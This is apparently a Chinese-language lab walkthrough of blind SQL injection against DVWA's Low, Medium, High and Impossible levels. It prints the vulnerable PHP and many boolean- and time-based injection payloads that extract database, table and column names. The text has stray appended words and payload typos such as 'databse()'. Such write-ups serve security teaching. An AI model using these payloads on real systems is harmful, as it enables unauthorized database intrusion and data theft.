SQL Injection(Blind),即SQL盲注,與通常注入的區別在於,通常的注入攻擊者能夠直接從頁面上看到注入語句的執行結果,而盲注時攻擊者一般是沒法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,所以盲注的難度要比通常注入高。目前網絡上現存的SQL注入漏洞大可能是SQL盲注。php
手工盲注的過程,就像你與一個機器人聊天,這個機器人知道的不少,但只會回答「是」或者「不是」,所以你須要詢問它這樣的問題,例如「數據庫名字的第一個字母是否是a啊?」,經過這種機械的詢問,最終得到你想要的數據。html
盲注分爲基於布爾的盲注、基於時間的盲注以及基於報錯的盲注,這裏因爲實驗環境的限制,只演示基於布爾的盲注與基於時間的盲注。前端
下面簡要介紹手工盲注的步驟(可與以前的手工注入做比較):mysql
1.判斷是否存在注入,注入是字符型仍是數字型web
2.猜解當前數據庫名sql
3.猜解數據庫中的表名數據庫
4.猜解表中的字段名安全
5.猜解數據服務器
下面對四種級別的代碼進行分析。cookie
服務器端核心代碼
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
能夠看到,Low級別的代碼對參數id沒有作任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種,‘
User ID exists in the database.
‘與‘
`User ID is MISSING from the database.`
‘,所以這裏是SQL盲注漏洞。
首先演示基於布爾的盲注:
輸入1,顯示相應用戶存在:
輸入1’ and 1=1 #,顯示存在:
輸入1’ and 1=2 #,顯示不存在:
說明存在字符型的SQL盲注。
想要猜解數據庫名,首先要猜解數據庫名的長度,而後挨個猜解字符。
輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:
說明數據庫名長度爲4。
下面採用二分法猜解數據庫名。
輸入1’ and ascii(substr(databse(),1,1))>97 #,顯示存在,說明數據庫名的第一個字符的ascii值大於97(小寫字母a的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<122 #,顯示存在,說明數據庫名的第一個字符的ascii值小於122(小寫字母z的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<109 #,顯示存在,說明數據庫名的第一個字符的ascii值小於109(小寫字母m的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<103 #,顯示存在,說明數據庫名的第一個字符的ascii值小於103(小寫字母g的ascii值);
輸入1’ and ascii(substr(databse(),1,1))<100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不小於100(小寫字母d的ascii值);
輸入1’ and ascii(substr(databse(),1,1))>100 #,顯示不存在,說明數據庫名的第一個字符的ascii值不大於100(小寫字母d的ascii值),因此數據庫名的第一個字符的ascii值爲100,即小寫字母d。
…
重複上述步驟,就能夠猜解出完整的數據庫名(dvwa)了。
首先猜解數據庫中表的數量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說明數據庫中共有兩個表。
接着挨個猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說明第一個表名長度爲9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
說明第一個表的名字的第一個字符爲小寫字母g。
…
重複上述步驟,便可猜解出兩個表名(guestbook、users)。
首先猜解表中字段的數量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說明users表有8個字段。
接着挨個猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說明users表的第一個字段爲7個字符長度。
採用二分法,便可猜解出全部字段名。
一樣採用二分法。
還可使用基於時間的盲注:
輸入1’ and sleep(5) #,感受到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;
說明存在字符型的基於時間的盲注。
首先猜解數據名的長度:
1’ and if(length(database())=1,sleep(5),1) # 沒有延遲
1’ and if(length(database())=2,sleep(5),1) # 沒有延遲
1’ and if(length(database())=3,sleep(5),1) # 沒有延遲
1’ and if(length(database())=4,sleep(5),1) # 明顯延遲
說明數據庫名長度爲4個字符。
接着採用二分法猜解數據庫名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲
說明數據庫名的第一個字符爲小寫字母d。
…
重複上述步驟,便可猜解出數據庫名。
首先猜解數據庫中表的數量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說明數據庫中有兩個表。
接着挨個猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說明第一個表名的長度爲9個字符。
採用二分法便可猜解出表名。
首先猜解表中字段的數量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說明users表中有8個字段。
接着挨個猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說明users表的第一個字段長度爲7個字符。
採用二分法便可猜解出各個字段名。
一樣採用二分法。
服務器端核心代碼
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } //mysql_close(); } ?>
能夠看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,\,’,」,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,但願以此來控制用戶的輸入。
雖然前端使用了下拉選擇菜單,但咱們依然能夠經過抓包改參數id,提交惡意構造的查詢參數。
以前已經介紹了詳細的盲注流程,這裏就簡要演示幾個。
首先是基於布爾的盲注:
抓包改參數id爲1 and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273爲users的16進制),顯示存在,說明uers表有8個字段。
而後是基於時間的盲注:
抓包改參數id爲1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個字段。
服務器端核心代碼
<?php if( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
能夠看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。
雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。但因爲服務器端執行sleep函數,會使得基於時間盲注的準確性受到影響,這裏咱們只演示基於布爾的盲注:
抓包將cookie中參數id改成1’ and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包將cookie中參數id改成1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包將cookie中參數id改成1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 爲users的16進制),顯示存在,說明uers表有8個字段。
服務器端核心代碼
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
能夠看到,Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防護SQL注入,Anti-CSRF token機制的加入了進一步提升了安全性。
*本文原創做者:lonehand